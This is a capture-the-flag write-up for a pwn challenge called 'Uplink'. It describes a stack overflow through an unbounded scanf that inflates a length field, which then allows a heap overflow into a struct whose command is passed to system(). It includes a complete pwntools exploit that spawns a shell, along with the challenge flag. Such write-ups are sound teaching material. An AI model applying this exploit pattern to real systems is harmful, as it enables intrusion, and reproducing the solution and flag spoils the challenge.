Pwnmedium
Uplink
by Pavel Knespl (capyplivl)
A 64-bit ORION-IV telemetry binary reads a length value with scanf("%d") and clamps it, but an unbounded scanf("%s") callsign read can overwrite that length afterward without re-clamping. The inflated length lets a later read() heap-overflow into a task struct whose command string is passed to system().
Solve
- The binary allocates
current_packet = malloc(0x20)next tocurrent_task(char cmd[0x40]; int enabled=1). Option 1 reads the callsign with unbounded%sinto a 16-byte stack buffer sitting right before theTX_SZlength int. Option 3 doesread(0, current_packet, TX_SZ). Option 4 runssystem(current_task->cmd)whenenabled. - Overwrite
TX_SZto a large value via the callsign overflow, then upload0x30bytes of padding (packet 0x20 + task chunk header 0x10) followed by the command intocurrent_task->cmd, then run diagnostics. - Exploit (
solve.py, in the challenge dir):
from pwn import *
import sys
context.binary = exe = ELF('./uplink', checksec=False)
CMD = b"/bin/sh"
io = remote(sys.argv[2], int(sys.argv[3])) if 'remote' in sys.argv else process(exe.path)
io.recvuntil(b'buffer limit (1-31): '); io.sendline(b'1')
io.recvuntil(b'cmd> '); io.sendline(b'1')
io.recvuntil(b'callsign: '); io.sendline(b'A'*16 + p32(0x100))
io.recvuntil(b'cmd> '); io.sendline(b'3')
io.recvuntil(b'payload: '); io.send(b'B'*0x30 + CMD + b'\x00')
io.recvuntil(b'cmd> '); io.sendline(b'4')
io.interactive()
- Run against the live instance:
python3 solve.py remote <host> <port>, thencat flag.txt(or/flag*) at the shell.
Flag: SVIBGR{0v3rfl0w_70_7h3_m00n_552436aa}